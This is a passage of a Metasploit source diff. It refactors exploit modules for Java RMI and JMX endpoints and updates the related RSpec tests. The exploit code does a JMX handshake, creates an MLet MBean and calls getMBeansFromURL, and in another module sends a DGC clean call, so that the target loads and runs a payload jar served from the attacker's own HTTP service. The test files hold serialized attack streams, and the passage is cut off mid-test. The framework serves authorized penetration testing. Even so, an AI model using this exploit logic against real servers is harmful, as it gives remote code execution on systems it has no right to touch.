uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
}
send_call(call_data: handshake_stream(mbean[:id].chop))
return_data = recv_return
if datastore['JMX_ROLE']
username = datastore['JMX_ROLE']
password = datastore['JMX_PASSWORD']
opts.merge!(username: username, password: password)
end
if return_data.nil?
vprint_error("#{peer} - Failed to send handshake")
ref = send_new_client(opts)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
return nil
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected handshake answer")
return nil
end
case answer
when 'java.lang.SecurityException'
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
return nil
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
vprint_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
else
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
return nil
end
conn_stub
ref
end
def load_payload(conn_stub)
vprint_status("#{peer} - Getting JMXPayload instance...")
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1")
send_call(call_data: get_payload_instance)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to getObjectInstance failed")
return false
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
else
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
return false
end
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
return false if res.nil?
case answer
when 'javax.management.InstanceNotFoundException'
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
return load_payload_from_url(conn_stub)
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - JMXPayload instance found, using it")
return true
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
return false
end
true
end
def load_payload_from_url(conn_stub)
@ -271,99 +246,79 @@ class Metasploit3 < Msf::Exploit::Remote
start_service
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
send_call(call_data: create_mbean)
return_data = recv_return
if return_data.nil?
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
res = true
when 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
res = nil
else
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
res = nil
end
end
if res.nil?
vprint_error("#{peer} - The request to createMBean failed")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected createMBean answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already exists")
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet created")
when 'java.lang.SecurityException'
vprint_error("#{peer} - The provided user hasn't enough privileges")
return false
else
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
return false
end
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
send_call(call_data: get_mlet_instance)
return_data = recv_return
if return_data.nil?
vprint_error("#{peer} - The request to getObjectInstance failed")
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
return false
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected getObjectInstance answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - javax.management.loading.MLet already found")
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - javax.management.loading.MLet instance created")
else
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
if res.nil?
vprint_error("#{peer} - The request to GetObjectInstance failed")
return false
end
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
invoke_mlet_get_mbean_from_url = invoke_stream(
obj_id: conn_stub[:id].chop,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
send_call(call_data: invoke_mlet_get_mbean_from_url)
return_data = recv_return
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
return false
ensure
vprint_status("Stopping service...")
stop_service
end
vprint_status("Stopping service...")
stop_service
if return_data.nil?
if res.nil?
vprint_error("#{peer} - The call to getMBeansFromURL failed")
return false
end
answer = extract_object(return_data, 3)
if answer.nil?
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
return false
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
return true
when 'javax.management.ObjectInstance'
vprint_good("#{peer} - The remote payload has been loaded!")
return true
else
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
return false
end
true
end
end

View File

@ -126,18 +126,45 @@ class Metasploit3 < Msf::Exploit::Remote
new_url = get_uri + '/' + jar
print_status("#{peer} - Sending RMI Call...")
send_call(call_data: build_gc_call_data(new_url))
return_data = recv_return
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
if return_data.nil? && !session_created?
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
return_value = recv_return
if return_value.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
end
if return_data && loader_disabled?(return_data)
if return_value && return_value.is_exception? && loader_disabled?(return_value)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
end
if return_data && class_not_found?(return_data)
if return_value && return_value.is_exception? && class_not_found?(return_value)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
end
@ -170,13 +197,13 @@ class Metasploit3 < Msf::Exploit::Remote
return true
end
def loader_disabled?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
content.class_data[1].contents.include?('RMI class loader disabled')
def loader_disabled?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
exception.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
@ -184,11 +211,11 @@ class Metasploit3 < Msf::Exploit::Remote
false
end
def class_not_found?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
def class_not_found?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
return true
end
end
@ -196,14 +223,8 @@ class Metasploit3 < Msf::Exploit::Remote
false
end
def build_gc_call_data(jar_url)
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
def build_dgc_clean_args(jar_url)
arguments = []
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
@ -230,8 +251,8 @@ class Metasploit3 < Msf::Exploit::Remote
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
@ -251,11 +272,11 @@ class Metasploit3 < Msf::Exploit::Remote
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
arguments << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
stream
arguments
end
end

View File

@ -1,33 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Discovery do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:stream_discovery) do
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" +
"\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" +
"\x69"
end
describe "#discovery_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "builds a valid stream to discover an jmxrmi endpoing" do
expect(mod.discovery_stream.encode).to eq(stream_discovery)
end
end
end

View File

@ -1,48 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Handshake do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:handshake_stream) do
"\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" +
"\x0c\xae\xa8\x70"
end
let(:auth_stream) do
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
"\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
"\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" +
"\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64"
end
describe "#handshake_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "builds a correct stream" do
expect(mod.handshake_stream(0).encode).to eq(handshake_stream)
end
end
describe "#auth_array_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray)
end
it "builds a correct stream" do
expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream)
end
end
end

View File

@ -1,93 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Mbean::ServerConnection do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:mbean_sample) { 'MBeanSample' }
let(:sample_args) do
{'arg1' => 'java.lang.String'}
end
describe "#create_mbean_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.create_mbean_stream.contents[1].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample)
end
end
end
describe "#get_object_instance_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.get_object_instance_stream.contents[2].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample)
end
end
end
describe "#invoke_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.invoke_stream.contents[2].contents).to eq('')
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample)
end
end
end
describe "#invoke_arguments_stream" do
it "returns a Rex::Java::Serialization::Model::Stream" do
expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream)
end
context "when no opts" do
it "builds a default stream" do
expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0)
end
end
context "when opts" do
it "builds a stream having opts into account" do
expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1'])
end
end
end
end

View File

@ -1,121 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java'
require 'msf/java/jmx'
describe Msf::Java::Jmx::Util do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Jmx
mod.send(:initialize)
mod
end
let(:empty) { '' }
let(:empty_io) { StringIO.new(empty) }
let(:string) { "\x00\x04\x41\x42\x43\x44" }
let(:string_io) { StringIO.new(string) }
let(:int) { "\x00\x00\x00\x04" }
let(:int_io) { StringIO.new(int) }
let(:stream_raw) do
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
"\x2c\x69\x64\x3d\x31\x78\x70"
end
let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) }
let(:contents_unicast_ref) do
"\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" +
"\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" +
"\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" +
"\xdf\xd4\x57\x7e\x80\x01\x01"
end
let(:unicast_ref_io) do
StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents)
end
let(:unicast_ref) do
{
:address => '172.16.158.131',
:id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01",
:port => 3057
}
end
describe "#extract_string" do
context "when io contains a valid string" do
it "returns the string" do
expect(mod.extract_string(string_io)).to eq('ABCD')
end
end
context "when io doesn't contain a valid string" do
it "returns nil" do
expect(mod.extract_string(empty_io)).to be_nil
end
end
end
describe "#extract_int" do
context "when io contains a valid int" do
it "returns the string" do
expect(mod.extract_int(int_io)).to eq(4)
end
end
context "when io doesn't contain a valid int" do
it "returns nil" do
expect(mod.extract_int(empty_io)).to be_nil
end
end
end
describe "#extract_object" do
context "when empty stream" do
it "returns nil" do
empty_stream = Rex::Java::Serialization::Model::Stream.new
expect(mod.extract_object(empty_stream, 1)). to be_nil
end
end
context "when valid stream" do
context "when id stores an object" do
it "returns the object's class name" do
expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName')
end
end
context "when id doesn't store an object" do
it "returns nil" do
expect(mod.extract_object(stream, 0)). to be_nil
end
end
end
end
describe "#extract_unicast_ref" do
context "when empty io" do
it "returns nil" do
expect(mod.extract_unicast_ref(empty_io)). to be_nil
end
end
context "when valid io" do
it "returns a hash" do
expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash)
end
it "returns a hash containing the UnicastRef information" do
expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref)
end
end
end
end

View File

@ -3,12 +3,12 @@ require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
require 'msf/java/rmi/builder'
describe Msf::Java::Rmi::Client::Streams do
describe Msf::Java::Rmi::Builder do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.extend ::Msf::Java::Rmi::Builder
mod.send(:initialize)
mod
end
@ -22,13 +22,27 @@ describe Msf::Java::Rmi::Client::Streams do
end
let(:opts_header) { "JRMI\x00\x01\x4d" }
let(:default_call) { "\x50\xac\xed\x00\x05" }
let(:default_call) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:call_opts) do
{
:message_id => Rex::Proto::Rmi::Model::PING_MESSAGE
message_id: Rex::Proto::Rmi::Model::CALL_MESSAGE,
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: 0xf6b6898d8bf28643
}
end
let(:opts_call) { "\x52\xac\xed\x00\x05" }
let(:opts_call) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
end
let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" }
let(:dgc_ack_opts) do

View File

@ -0,0 +1,216 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'stringio'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do
subject(:mod) do
mod = ::Msf::Exploit.new
mod.extend ::Msf::Java::Rmi::Client
mod.send(:initialize)
mod
end
let(:mlet_name) do
'DefaultDomain:type=MLet'
end
let(:default_get_object_instance) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
end
let(:mlet_get_object_instance) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70"
end
let(:mbean_name) do
'javax.management.loading.MLet'
end
let(:default_create_mbean) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70"
end
let(:mlet_create_mbean) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x1d\x6a\x61\x76\x61" +
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6c\x6f\x61" +
"\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x70\x70"
end
let(:invoke_opts) do
{
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "http://127.0.0.1/mlet" }
}
end
let(:default_invoke) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76" +
"\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62" +
"\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf" +
"\x03\x00\x00\x70\x78\x70\x74\x00\x00\x78\x74\x00\x00\x73\x72\x00" +
"\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61" +
"\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63" +
"\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c" +
"\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f" +
"\x62\x6a\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x70\x78\x70\x72" +
"\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" +
"\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x2c\xac\xed\x00\x05" +
"\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" +
"\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02" +
"\x00\x00\x78\x70\x00\x00\x00\x00\x75\x72\x00\x13\x5b\x4c\x6a\x61" +
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad" +
"\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00" +
"\x00\x70"
end
let(:invoke_with_data) do
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" +
"\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70"
end
describe "#build_jmx_get_object_instance" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a getObjectInstance call for an empty object name" do
expect(mod.build_jmx_new_client.encode).to eq(default_get_object_instance)
end
end
context "when opts with class name" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_new_client(name: mlet_name)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a getObjectInstance Call with credentials" do
expect(mod.build_jmx_new_client(name: mlet_name).encode).to eq(mlet_get_object_instance)
end
end
end
describe "#build_jmx_new_client_args" do
it "return an Array" do
expect(mod.build_jmx_get_object_instance_args(mlet_name)).to be_an(Array)
end
it "returns an Array with 4 elements" do
expect(mod.build_jmx_get_object_instance_args(mlet_name).length).to eq(4)
end
it "returns an Array whose second element is an utf string with the object name" do
expect(mod.build_jmx_get_object_instance_args(mlet_name)[1].contents).to eq(mlet_name)
end
end
describe "#build_jmx_create_mbean" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_create_mbean).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a createMBean call for an empty object name" do
expect(mod.build_jmx_create_mbean.encode).to eq(default_create_mbean)
end
end
context "when opts with class name" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_create_mbean(name: mbean_name)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a createMBean Call with credentials" do
expect(mod.build_jmx_create_mbean(name: mbean_name).encode).to eq(mlet_create_mbean)
end
end
end
describe "#build_jmx_create_mbean_args" do
it "return an Array" do
expect(mod.build_jmx_create_mbean_args(mbean_name)).to be_an(Array)
end
it "returns an Array with 3 elements" do
expect(mod.build_jmx_create_mbean_args(mbean_name).length).to eq(3)
end
it "returns an Array whose first element is an utf string with the object name" do
expect(mod.build_jmx_create_mbean_args(mbean_name)[0].contents).to eq(mbean_name)
end
end
describe "#build_jmx_invoke" do
context "when no opts" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_invoke).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a default invoke" do
expect(mod.build_jmx_invoke.encode).to eq(default_invoke)
end
end
context "when opts with class name" do
it "creates a Rex::Proto::Rmi::Model::Call" do
expect(mod.build_jmx_create_mbean(invoke_opts)).to be_a(Rex::Proto::Rmi::Model::Call)
end
it "creates a invoke call with the opts data" do
expect(mod.build_jmx_create_mbean(invoke_opts).encode).to eq(invoke_with_data)
end
end
end
describe "#build_jmx_invoke_args" do
it "return an Array" do
expect(mod.build_jmx_invoke_args(invoke_opts)).to be_an(Array)
end
it "returns an Array with 7 elements" do
expect(mod.build_jmx_invoke_args(invoke_opts).length).to eq(7)
end
it "returns an Array whose second element is an utf string with the object name" do
expect(mod.build_jmx_invoke_args(invoke_opts)[1].contents).to eq(mlet_name)
end
it "returns an Array whose third element is an utf string with the method name" do
expect(mod.build_jmx_invoke_args(invoke_opts)[3].contents).to eq('getMBeansFromURL')
end
end
describe "#build_invoke_arguments_obj_bytes" do
it "return an Rex::Java::Serialization::Model::Stream" do
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args])).to be_a(Rex::Java::Serialization::Model::Stream)
end
it "returns an stream with one content" do
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents.length).to eq(1)
end
it "returns an stream with NewArray" do
expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents[0]).to be_a(Rex::Java::Serialization::Model::NewArray)
end
end
end

View File

@ -0,0 +1,157 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/java/serialization'
require 'rex/proto/rmi'
require 'msf/java/rmi/client'
require 'stringio'
describe Msf::Java::Rmi::Client::Jmx::Connection do
let(:name_get) { 'DefaultDomain:type=MLet' }
let(:get_object_instance_response) do
"\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" +
"\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" +
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" +
"\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" +
"\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" +
"\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" +
"\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" +
"\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" +
